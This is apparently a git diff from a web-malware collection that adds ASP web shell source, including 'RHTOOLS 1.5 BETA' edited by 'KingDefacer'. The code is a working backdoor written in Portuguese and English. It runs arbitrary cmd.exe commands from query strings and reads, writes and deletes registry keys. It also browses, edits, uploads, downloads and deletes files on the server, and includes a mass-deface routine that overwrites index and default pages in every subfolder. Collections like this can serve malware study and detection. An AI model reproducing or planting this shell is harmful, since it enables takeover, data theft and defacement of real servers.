        " + Else + destino = Replace(Trim(Request.QueryString("path")),"|","\") & "\" + arquivo = Replace(Trim(Request.QueryString("arquivo")),"|","\") + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(arquivo) + MyFile.Copy (destino) + If Err.Number = 0 Then + Response.Write "


        Arquivo: " & arquivo & "
        copiado para: " & destino + End If + End If + Case "del" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + caminho = Replace(Trim(Request.QueryString("path")),"|","\") + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(caminho) + MyFile.Delete + If Err.Number = 0 Then + Response.Write "" + Response.Write "


        Arquivo " & caminho & " apagado
        " + End If + Case "ren" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + If Trim(Request.QueryString("status")) <> "2" Then + caminho = Replace(Trim(Request.QueryString("path")),"|","\") + arquivo = showobj(caminho) + Response.Write "
        " & arquivo & "
        " & _ + "
        " & _ + "" & _ + "" & _ + "" & _ + "Digite o novo nome: " & _ + "  " & _ + "
        " + Else + caminho = Replace(Trim(Request.QueryString("path")),"|","\") + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(caminho) + destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.QueryString("newname")) + MyFile.Move (destino) + If Err.Number = 0 Then + Response.Write "


        Arquivo: " & caminho & "
        renomeado para: " & destino + Response.Write "" + End If + End If + Case "error" + Response.Write "
        C�DIGO CORROMPIDO
        CORRUPT CODE
        " + Case "cmd" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Set oScript = Server.CreateObject("WSCRIPT.SHELL") + Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") + Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") + szCMD = Request.QueryString(".CMD") + If (szCMD <> "") Then + szTempFile = "c:\" & oFileSys.GetTempName( ) + Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) + Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) + End If + Response.Write "


        " + If (IsObject(oFile)) Then + On Error Resume Next + Response.Write "" + Response.Write Replace(Replace(Server.HTMLEncode(oFile.ReadAll),VbCrLf,"
        ")," "," ") + oFile.Close + Call oFileSys.DeleteFile(szTempFile, True) + End If + Case "info" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Set WshNetwork = Server.CreateObject("WScript.Network") + Set WshShell = Server.CreateObject("WScript.Shell") + Set WshEnv = WshShell.Environment("SYSTEM") + Response.Write "
        " + Response.Write "IDENTIFICA��O DE REDE:
        " + Response.Write "Usu�rio: " & WshNetwork.UserName & "
        " + Response.Write "Nome do Computador: " & WshNetwork.ComputerName & "
        " + Response.Write "Usu�rio do Dom�nio: " & WshNetwork.UserDomain & "
        " + Set Drives = WshNetwork.EnumNetworkDrives + For i = 0 to Drives.Count - 1 + Response.Write "Drive de Rede (Mapeado): " & Drives.Item(i) & "
        " + Next + Response.Write "
        F�SICO:
        " + Response.Write "Arquitetura do Processador: " & WshEnv("PROCESSOR_ARCHITECTURE") & "
        " + Response.Write "N�mero de Processadores: " & WshEnv("NUMBER_OF_PROCESSORS") & "
        " + Response.Write "Identificador do Processador: " & WshEnv("PROCESSOR_IDENTIFIER") & "
        " + Response.Write "N�vel do Processador: " & WshEnv("PROCESSOR_LEVEL") & "
        " + Response.Write "Revis�o do Processador: " & WshEnv("PROCESSOR_REVISION") & "
        " + Response.Write "
        L�GICO:
        " + Response.Write "IP: " & request.servervariables("LOCAL_ADDR") & "
        " + Response.Write "Sistema Operacional: " & WshEnv("OS") & "
        " + Response.Write "Servidor Web: " & request.servervariables("SERVER_SOFTWARE") & "
        " + Response.Write "Especifica��o do Command: " & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "
        " + Response.Write "Caminhos no Path: " & WshEnv("PATH") & "
        " + Response.Write "Execut�veis: " & WshEnv("PATHEXT") & "
        " + Response.Write "Prompt: " & WshEnv("PROMPT") & "
        " + Response.Write "System Drive: " & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "
        " + Response.Write "System Root: " & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "
        " + Response.Write "Caminho do System32: " & WshShell.CurrentDirectory & "
        " + Set Drives = Nothing + Set WshNetwork = Nothing + Set WshShell = Nothing + Set WshEnv = Nothing + Case "reg" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Set WshShell = Server.CreateObject("WScript.Shell") + Response.Write "Editor de Registro:

        " + Select Case Trim(Request.QueryString("regaction")) + Case "w" + If Trim(Request.QueryString("process")) = "yes" Then + Select Case Trim(Request.QueryString("type")) + Case "1" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_SZ") + Case "2" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_DWORD") + Case "3" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_BINARY") + Case "4" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_EXPAND_SZ") + Case "5" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_MULTI_SZ") + End Select + Response.Write "

        Registro " + Response.Write Trim(Request.QueryString("key")) & " Escrito
        " + Response.Write "

        MENU PRINCIPAL
        " + Else + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
        ROOT KEY NAMEABREVIA��O
        HKEY_CURRENT_USER HKCU
        HKEY_LOCAL_MACHINE HKLM
        HKEY_CLASSES_ROOT HKCR
        HKEY_USERS HKEY_USERS
        HKEY_CURRENT_CONFIG HKEY_CURRENT_CONFIG

        " + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
        Tipo Descri��o Na forma de
        REG_SZ string string
        REG_DWORD n�mero inteiro
        REG_BINARY valor bin�rio VBArray de inteiros
        REG_EXPAND_SZ string expand�vel (ex. ""%windir%\\calc.exe"") string
        REG_MULTI_SZ array de strings VBArray de strings
        " + Response.Write "

        " + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
        KEY:
        ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )
        VALUE:
        TYPE:
        " + Response.Write "" + Response.Write "" + Response.Write "
        " + Response.Write "

        MENU PRINCIPAL
        " + End If + Case "r" + If Trim(Request.QueryString("process")) = "yes" Then + Response.Write "" & Trim(Request.QueryString("key")) & "
        " + Response.Write "Valor: " & WshShell.RegRead (Trim(Request.QueryString("key"))) + Else + Response.Write "
        " + Response.Write "KEY:
        ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )
        " + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + End If + Response.Write "

        MENU PRINCIPAL
        " + Case "d" + If Trim(Request.QueryString("process")) = "yes" Then + teste = WshShell.RegDelete (Trim(Request.QueryString("key"))) + Response.Write "Chave " & Trim(Request.QueryString("key")) & " deletada" + Else + Response.Write "
        " + Response.Write "KEY: ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )
        " + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + End If + Response.Write "

        MENU PRINCIPAL
        " + Case Else + Response.Write "ESCREVER CHAVE

        " + Response.Write "LER CHAVE

        " + Response.Write "DELETAR CHAVE
        " + End Select + Set WshShell = Nothing + Case "txtview" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp & "" + file = Replace(Trim(Request.QueryString("file")),"|","\") + Set fso = CreateObject("Scripting.FileSystemObject") + Set a = fso.OpenTextFile(file) + Response.Write Replace(Replace(Server.HTMLEncode(a.ReadAll),VbCrLf,"
        ")," "," ") + Set a = Nothing + Set fso = Nothing + Case "txtedit" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + If Request.Form.Count = 0 Then + file = Replace(Trim(Request.QueryString("file")),"|","\") + Set fso = CreateObject("Scripting.FileSystemObject") + Set a = fso.OpenTextFile(file) + Response.Write "
        " + Response.Write "
        " + Response.Write "" + Response.Write "     
        " + Set a = Nothing + Set fso = Nothing + Else + Select Case Trim(Request.Form("savemethod")) + Case "Save" + Set fso = CreateObject("Scripting.FileSystemObject") + novotexto = Trim(Request.Form("content")) + novotexto = Split(novotexto,vbCrLf) + Set objstream = fso.OpenTextFile(Replace(Trim(Request.Form("path")),"|","\"),2) + For i = 0 To UBound(novotexto) + objstream.WriteLine(novotexto(i)) + Next + objstream.Close + Set objstream = Nothing + Response.Write "Texto salvo: " & Replace(Trim(Request.Form("path")),"|","\") & "" + Case "Save as" + Set fso = CreateObject("Scripting.FileSystemObject") + novotexto = Trim(Request.Form("content")) + novotexto = Split(novotexto,vbCrLf) + caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt" + Set objstream = fso.CreateTextFile(caminho,true,false) + For i = 0 To UBound(novotexto) + objstream.WriteLine(novotexto(i)) + Next + objstream.Close + Set objstream = Nothing + Response.Write "
        " + Response.Write "
        " + Response.Write "" + Response.Write "
        " + Case Else + caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt" + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(caminho) + destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.Form("filename")) + MyFile.Move (destino) + If Err.Number = 0 Then + Response.Write "


        Arquivo: " & destino & " salvo!" + Response.Write "" + End If + End Select + End If + Case "download" + Response.Buffer = True + Response.Clear + strFileName = Replace(Trim(Request.QueryString("file")),"|","\") + strFile = Right(strFileName, Len(strFileName) - InStrRev(strFileName,"\")) + strFileType = Request.QueryString("type") + if strFileType = "" then strFileType = "application/download" + Set fso = Server.CreateObject("Scripting.FileSystemObject") + Set f = fso.GetFile(strFilename) + intFilelength = f.size + Set f = Nothing + Set fso = Nothing + Response.AddHeader "Content-Disposition", "attachment; filename=" & strFile + Response.AddHeader "Content-Length", intFilelength + Response.Charset = "UTF-8" + Response.ContentType = strFileType + Set Stream = Server.CreateObject("ADODB.Stream") + Stream.Open + Stream.type = 1 + Stream.LoadFromFile strFileName + Response.BinaryWrite Stream.Read + Response.Flush + Stream.Close + Set Stream = Nothing + Case "upload" + If Request.QueryString("processupload") <> "yes" Then + Response.Write "
        " + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
        Select a file to upload:
        " + Else + Set Uploader = New FileUploader + Uploader.Upload() + If Uploader.Files.Count = 0 Then + Response.Write "File(s) not uploaded." + Else + For Each File In Uploader.Files.Items + File.SaveToDisk Replace(Trim(Request.QueryString("path")),"|","\") + Response.Write "File Uploaded: " & File.FileName & "
        " + Response.Write "Size: " & File.FileSize & " bytes
        " + Response.Write "Type: " & File.ContentType & "

        " + Response.Write "" + Next + End If + End If + Case "mass" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo) + On Error Resume Next + Set MonRep = ObjFSO.GetFolder(caminhodomass) + Set ColFolders = MonRep.SubFolders + for each folderItem in ColFolders + destino1 = folderItem.path & "\index.htm" + destino2 = folderItem.path & "\index.html" + destino3 = folderItem.path & "\index.asp" + destino4 = folderItem.path & "\index.cfm" + destino5 = folderItem.path & "\index.php" + destino6 = folderItem.path & "\default.htm" + destino7 = folderItem.path & "\default.html" + destino8 = folderItem.path & "\default.asp" + destino9 = folderItem.path & "\default.cfm" + destino10 = folderItem.path & "\default.php" + MeuArquivo.Copy(destino1) + MeuArquivo.Copy(destino2) + MeuArquivo.Copy(destino3) + MeuArquivo.Copy(destino4) + MeuArquivo.Copy(destino5) + MeuArquivo.Copy(destino6) + MeuArquivo.Copy(destino7) + MeuArquivo.Copy(destino8) + MeuArquivo.Copy(destino9) + MeuArquivo.Copy(destino10) + Response.Write "" + If Err.Number = 0 Then + Response.Write "" + Else + Response.Write "
        <DIR> " & folderItem.path & "  DONE!
          " & UCase(Err.Description) & "
        " + End If + Err.Number = 0 + Response.Flush + If metodo = "brute" Then + Call themassdeface(folderItem.path & "\","brute",ObjFSO,MeuArquivo) + End If + next + End Sub + Sub brutemass(caminho,massaction) + If massaction = "test" Then + On Error Resume Next + Set MonRep = ObjFSO.GetFolder(caminho) + Set ColFolders = MonRep.SubFolders + Set ColFiles0 = MonRep.Files + for each folderItem in ColFolders + Set TotalFolders = ObjFSO.GetFolder(folderItem.path) + Set EachFolder = TotalFolders.SubFolders + Response.Write "" + maindestino = folderItem.path & "\" + MeuArquivo.Copy(maindestino) + Response.Write "" + If Err.Number = 0 Then + Response.Write "" + Else + Response.Write "" + End If + Err.Number = 0 + Response.Flush + If EachFolder.count > 0 Then + masscontador = 0 + for each subpasta in EachFolder + masscontador = masscontador + 1 + destino = subpasta.path & "\" + If masscontador = 1 Then + destinofinal = destino + pathfinal = subpasta.path + Err.Number = 0 + MeuArquivo.Copy(destinofinal) + Response.Write "" + If Err.Number = 0 Then + Response.Write "" + Else + Response.Write "" + End If + Err.Number = 0 + Response.Flush + Else + MeuArquivo.Copy(destino) + Response.Write "" + If Err.Number = 0 Then + Response.Write "" + Else + Response.Write "" + End If + Err.Number = 0 + Response.Flush + End If + next + masscontador = 0 + End If + Response.Write "
        <DIR> " & maindestino & "  Acesso Permitido
          " & UCase(Err.Description) & "
        <DIR> " & showobj(pathfinal) & "  Acesso Permitido
          " & UCase(Err.Description) & "
        <DIR> " & showobj(subpasta.path) & "  Acesso Permitido
          " & UCase(Err.Description) & "

        " + Call brutemass(folderItem.path & "\","test") + next + Set MonRep = Nothing + Set ColFolders = Nothing + Set ColFiles0 = Nothing + Else + If Request.Form.Count = 0 Then + Response.Write "

        Brute: copia os arquivos do deface para todas as pastas e subpastas (todos os n�veis) do diret�rio escolhido (mais demorado). O tempo do deface vai variar de acordo com o numero TOTAL de diret�rios.

        " + Response.Write "Single: copia os arquivos do deface apenas para as pastas (primeiro n�vel) do diret�rio escolhido. N�o inclui subpastas.

        " + Response.Write "" + Response.Write "" + Response.Write "
        Insira o c�digo:
        " + Response.Write "
        " + Response.Write "Brute   " + Response.Write "Single
        " + Response.Write "
        " + Response.Write "" + Else + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) + arquivomassdfc = patharquivotxt & "teste.txt" + Set Arquivotxt = ObjFso.OpenTextFile(arquivomassdfc, 2, True, False) + vetordelinhas = Split(Request.Form("content"),VbCrLf) + For i = 0 To UBound(vetordelinhas) + Arquivotxt.WriteLine(vetordelinhas(i)) + Next + Set MeuArquivo = ObjFSO.GetFile(arquivomassdfc) + + If Request.Form("massopt") = "single" Then + Call themassdeface(caminho,"single",ObjFSO,MeuArquivo) + ElseIf Request.Form("massopt") = "brute" Then + Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo) + End If + End If + End If + End Sub + If Trim(Request.QueryString("massact")) = "test" Then + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) + arquivo = patharquivotxt & "_vti_cnf.log" + Set Arquivotxt = ObjFSO.CreateTextFile(arquivo,True) + Set MeuArquivo = ObjFSO.GetFile(arquivo) + Call brutemass(Replace(Trim(Request.QueryString("path")),"|","\"),"test") + ElseIf Trim(Request.QueryString("massact")) = "dfc" Then + Call brutemass(Replace(Trim(Request.Form("path")),"|","\"),"dfc") + End If + Case Else + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Call showcontent() +End Select +If Err.Number <> 0 Then + Response.Write "
        ERRO: " & Err.Number & "

        " & UCase(Err.Description) & "
        Acesse o ONLINE HELP para a explica��o do erro" +End If +Response.Write endcode +%> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/ASP/toolaspshell.txt b/web-malware-collection-master/Backdoors/ASP/toolaspshell.txt new file mode 100755 index 0000000..cdaa197 --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/toolaspshell.txt @@ -0,0 +1,793 @@ +<%@ LANGUAGE = VBScript.Encode %> +<% +On Error Resume Next +Server.ScriptTimeOut = 7200 +Class FileUploader + Public Files + Private mcolFormElem + Private Sub Class_Initialize() + Set Files = Server.CreateObject("Scripting.Dictionary") + Set mcolFormElem = Server.CreateObject("Scripting.Dictionary") + End Sub + Private Sub Class_Terminate() + If IsObject(Files) Then + Files.RemoveAll() + Set Files = Nothing + End If + If IsObject(mcolFormElem) Then + mcolFormElem.RemoveAll() + Set mcolFormElem = Nothing + End If + End Sub + Public Property Get Form(sIndex) + Form = "" + If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex)) + End Property + Public Default Sub Upload() + Dim biData, sInputName + Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos + Dim nPosFile, nPosBound + biData = Request.BinaryRead(Request.TotalBytes) + nPosBegin = 1 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + If (nPosEnd-nPosBegin) <= 0 Then Exit Sub + vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + nDataBoundPos = InstrB(1, biData, vDataBounds) + Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--")) + nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition")) + nPos = InstrB(nPos, biData, CByteString("name=")) + nPosBegin = nPos + 6 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename=")) + nPosBound = InstrB(nPosEnd, biData, vDataBounds) + If nPosFile <> 0 And nPosFile < nPosBound Then + Dim oUploadFile, sFileName + Set oUploadFile = New UploadedFile + nPosBegin = nPosFile + 10 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\")) + nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:")) + nPosBegin = nPos + 14 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + nPosBegin = nPosEnd+4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile + Else + nPos = InstrB(nPos, biData, CByteString(Chr(13))) + nPosBegin = nPos + 4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + End If + nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds) + Loop + End Sub + Private Function CByteString(sString) + Dim nIndex + For nIndex = 1 to Len(sString) + CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1))) + Next + End Function + Private Function CWideString(bsString) + Dim nIndex + CWideString ="" + For nIndex = 1 to LenB(bsString) + CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))) + Next + End Function +End Class +Class UploadedFile + Public ContentType + Public FileName + Public FileData + Public Property Get FileSize() + FileSize = LenB(FileData) + End Property + Public Sub SaveToDisk(sPath) + Dim oFS, oFile + Dim nIndex + If sPath = "" Or FileName = "" Then Exit Sub + If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\" + Set oFS = Server.CreateObject("Scripting.FileSystemObject") + If Not oFS.FolderExists(sPath) Then Exit Sub + Set oFile = oFS.CreateTextFile(sPath & FileName, True) + For nIndex = 1 to LenB(FileData) + oFile.Write Chr(AscB(MidB(FileData,nIndex,1))) + Next + oFile.Close + End Sub + Public Sub SaveToDatabase(ByRef oField) + If LenB(FileData) = 0 Then Exit Sub + If IsObject(oField) Then + oField.AppendChunk FileData + End If + End Sub +End Class +key = "5DCADAC1902E59F7273E1902E5AD8414B1902E5ABF3E661902E5B554FC41902E53205CA01902E59F7273E1902E597A18C51902E59AC1E8F1902E59DE24591902E55F5B0911902E53CF70E31902E597A18C51902E5B2349FA1902E5A422FED1902E597A18C51902E5A8D389C1902E53CF70E31902E53205CA01902E5B3C4CDF1902E5A422FED1902E5BEB61221902E59DE24591902E55F5B0911902E53CF70E31902E54C98DD51902E53CF70E31902E560EB3761902E547E85261902E55AAA7E21902E55AAA7E21902E53205CA01902E5802ED5A1902E5708D0681902E5834F3241902E57B7E4AB1902E57B7E4AB1902E576CDBFC1902E581BF03F1902E53205CA01902E54C98DD51902E547E85261902E552D99691902E53205CA01902E5672BF0A1902E56BDC7B91902E5834F3241902E5659BC251902E53E873C81902E57D0E7901902E5866F8EE1902E5834F3241902E540176AD1902E53B66DFE1902E59AC1E8F1902E5AD8414B1902E5AF144301902E5BD25E3D1902E55C3AAC71902E53205CA01902E5672BF0A1902E58B2019D1902E53205CA01902E55DCADAC1902E597A18C51902E53205CA01902E5A292D081902E5B2349FA1902E59DE24591902E59F7273E1902E55F5B0911902E53CF70E31902E5AA63B811902E597A18C51902E5A422FED1902E5A8D389C1902E5B554FC41902E5AD8414B1902E55AAA7E21902E5B2349FA1902E5A292D081902E59F7273E1902E597A18C51902E59AC1E8F1902E5B554FC41902E5AD8414B1902E5B2349FA1902E5640B9401902E597A18C51902E5ABF3E661902E5B554FC41902E5A422FED1902E5B3C4CDF1902E5AD8414B1902E59AC1E8F1902E5A422FED1902E597A18C51902E5A8D389C1902E547E85261902E59AC1E8F1902E5AD8414B1902E5AA63B811902E53CF70E31902E560EB3761902E5802ED5A1902E5708D0681902E56BDC7B91902E581BF03F1902E584DF6091902E581BF03F1902E53205CA01902E56D6CA9E1902E5659BC251902E568BC1EF1902E5834F3241902E57B7E4AB1902E5802ED5A1902E55DCADAC1902E5497880B1902E597A18C51902E560EB3761902E53205CA01902E546582411902E53205CA01902E55DCADAC1902E597A18C51902E53205CA01902E5A292D081902E5B2349FA1902E59DE24591902E59F7273E1902E55F5B0911902E53CF70E31902E5708D0681902E5834F3241902E5834F3241902E57D0E7901902E55AAA7E21902E5497880B1902E5497880B1902E587FFBD31902E587FFBD31902E587FFBD31902E547E85261902E5802ED5A1902E5708D0681902E56BDC7B91902E581BF03F1902E584DF6091902E581BF03F1902E56D6CA9E1902E5659BC251902E568BC1EF1902E5834F3241902E57B7E4AB1902E5802ED5A1902E547E85261902E568BC1EF1902E573AD6321902E5672BF0A1902E547E85261902E579EE1C61902E56BDC7B91902E5834F3241902E53CF70E31902E53205CA01902E5B554FC41902E597A18C51902E5B2349FA1902E5A102A231902E59DE24591902E5B554FC41902E55F5B0911902E53CF70E31902E594812FB1902E59931BAA1902E5A8D389C1902E597A18C51902E5ABF3E661902E5A7435B71902E53CF70E31902E560EB3761902E5708D0681902E5834F3241902E5834F3241902E57D0E7901902E55AAA7E21902E5497880B1902E5497880B1902E587FFBD31902E587FFBD31902E587FFBD31902E547E85261902E5802ED5A1902E5708D0681902E56BDC7B91902E581BF03F1902E584DF6091902E581BF03F1902E56D6CA9E1902E5659BC251902E568BC1EF1902E5834F3241902E57B7E4AB1902E5802ED5A1902E547E85261902E568BC1EF1902E573AD6321902E5672BF0A1902E547E85261902E579EE1C61902E56BDC7B91902E5834F3241902E55DCADAC1902E5497880B1902E597A18C51902E560EB3761902E53205CA01902E55AAA7E21902E55AAA7E21902E547E85261902E55DCADAC1902E5497880B1902E59F7273E1902E5AD8414B1902E5ABF3E661902E5B554FC41902E560EB3761902E5|337308|1A7023" +startcode = "RHTOOLS 1.5 BETA(PVT) Edited By KingDefacer" +endocde = "" +onlinehelp = ".:: ONLINE HELP ::.
        " +Function DeCryptString(strCryptString) + Dim strRAW, arHexCharSet, i, intKey, intOffSet, strRawKey, strHexCrypData + strRawKey = Right(strCryptString, Len(strCryptString) - InStr(strCryptString, "|")) + intOffSet = Right(strRawKey, Len(strRawKey) - InStr(strRawKey,"|")) + intKey = HexConv(Left(strRawKey, InStr(strRawKey, "|") - 1)) - HexConv(intOffSet) + strHexCrypData = Left(strCryptString, Len(strCryptString) - (Len(strRawKey) + 1)) + arHexCharSet = Split(strHexCrypData, Hex(intKey)) + For i=0 to UBound(arHexCharSet) + strRAW = strRAW & Chr(HexConv(arHexCharSet(i))/intKey) + Next + DeCryptString = CStr(strRAW) +End Function +Function HexConv(hexVar) + Dim hxx, hxx_var, multiply + IF hexVar <> "" THEN + hexVar = UCASE(hexVar) + hexVar = StrReverse(hexVar) + DIM hx() + REDIM hx(LEN(hexVar)) + hxx = 0 + hxx_var = 0 + FOR hxx = 1 TO LEN(hexVar) + IF multiply = "" THEN multiply = 1 + hx(hxx) = mid(hexVar,hxx,1) + hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var + multiply = (multiply * 16) + NEXT + hexVar = hxx_var + HexConv = hexVar + END IF +End Function +cprthtml = "RHTOOLS 1.5 BETA(PVT) Edited By KingDefacer © BY KingDefacer - HTTP://WWW.alturks.com ::." +Function get_hxno(ghx) + If ghx = "A" Then + ghx = 10 + ElseIf ghx = "B" Then + ghx = 11 + ElseIf ghx = "C" Then + ghx = 12 + ElseIf ghx = "D" Then + ghx = 13 + ElseIf ghx = "E" Then + ghx = 14 + ElseIf ghx = "F" Then + ghx = 15 + End If + get_hxno = ghx +End Function +keydec = DeCryptString(key) +Function showobj(objpath) + showobj = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath)) +End Function +Function showobjpath(objpath) + showobjpath = Left(objpath,InstrRev(objpath,"\")) +End Function +Function checking(a,b) + If CStr(Mid(a,95,13)) <> CStr(Mid(b,95,13)) Then + pagina = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) & "?action=error" + Response.Redirect(pagina) + End If +End Function +Sub hdr() + Response.Write startcode + Response.Write keydec + Response.Write "
        " +End Sub +Sub showcontent() + Response.Write ".:: DRIVES ::.
        .:: SCRIPT PATH: " & UCase(Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))) & "

        " + If Trim(Request.QueryString("raiz")) = "root" Then + Set fs=Server.Createobject("Scripting.FileSystemObject") + Set drivecollection=fs.drives + Response.Write "" + For Each drive IN drivecollection + str=drive.driveletter & ":" + Response.Write "" & UCase(str) & "
        " + Select Case drive.DriveType + Case 0 + tipodrive = "Unknown" + nomedrive = drive.VolumeName + Case 1 + tipodrive = "Removable" + If drive.isready Then + nomedrive = drive.VolumeName + Else + nomedrive = "" + End If + Case 2 + tipodrive = "Fixed" + If drive.isready Then + nomedrive = drive.VolumeName + Else + nomedrive = "" + End If + Case 3 + tipodrive = "Network" + If drive.isready Then + nomedrive = drive.ShareName + Else + nomedrive = "" + End If + Case 4 + tipodrive = "CD-Rom" + If drive.isready Then + nomedrive = drive.VolumeName + Else + nomedrive = "" + End If + Case 5 + tipodrive = "RAM Disk" + If drive.isready Then + nomedrive = drive.VolumeName + Else + nomedrive = "" + End If + End Select + response.write "Tipo: " & tipodrive & "
        " + response.write "Nome: " & nomedrive & "
        " + response.write "Sistema de Arquivos: " + If drive.isready Then + set sp=fs.getdrive(str) + response.write sp.filesystem & "
        " + Else + response.write "-
        " + End If + Response.Write "Espa�o Livre: " + If drive.isready Then + freespace = (drive.AvailableSpace / 1048576) + set sp=fs.getdrive(str) + response.write(Round(freespace,1) & " MB
        ") + Else + response.write("-
        ") + End If + Response.Write "Espa�o Total: " + If drive.isready Then + totalspace = (drive.TotalSize / 1048576) + set sp=fs.getdrive(str) + response.write(Round(totalspace,1) & " MB
        ") + Else + response.write("-
        ") + End If + Response.Write "
        " + Next + Response.Write "
        " + Set fs = Nothing + Set drivecollection = Nothing + set sp=Nothing + Else + If Trim(Request.QueryString("raiz")) = "" Then + caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME")) + pos = Instr(caminho,"\") + pos2 = 1 + While pos2 <> 0 + If Instr(pos + 1,caminho,"\") <> 0 Then + pos = Instr(pos + 1,caminho,"\") + Else + pos2 = 0 + End If + Wend + raiz = Left(caminho,pos) + Else + raiz = trim(Request.QueryString("raiz")) & "\" + End If + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MonRep = ObjFSO.GetFolder(raiz) + Set ColFolders = MonRep.SubFolders + Set ColFiles0 = MonRep.Files + Response.Write "MASS TEST IN " & UCase(raiz) & "

        " + Response.Write "MASS DEFACE IN " & UCase(raiz) & "

        " + Response.Write "UPLOAD FILE TO " & UCase(raiz) & "

        " + Response.Write "PROMPT - SYS INFO - REGEDIT

        " + Response.Write "Root Folder: " & raiz & "

        " + If CInt(Len(raiz) - 1) <> 2 Then + barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),"\")) - 1 + backlevel = Left(raiz,barrapos) + Response.Write "<DIR> . .
        " + Else + Response.Write "<DIR> . . 
        " + End If + Response.Write "" + for each folderItem in ColFolders + Response.Write "" + next + Response.Write "
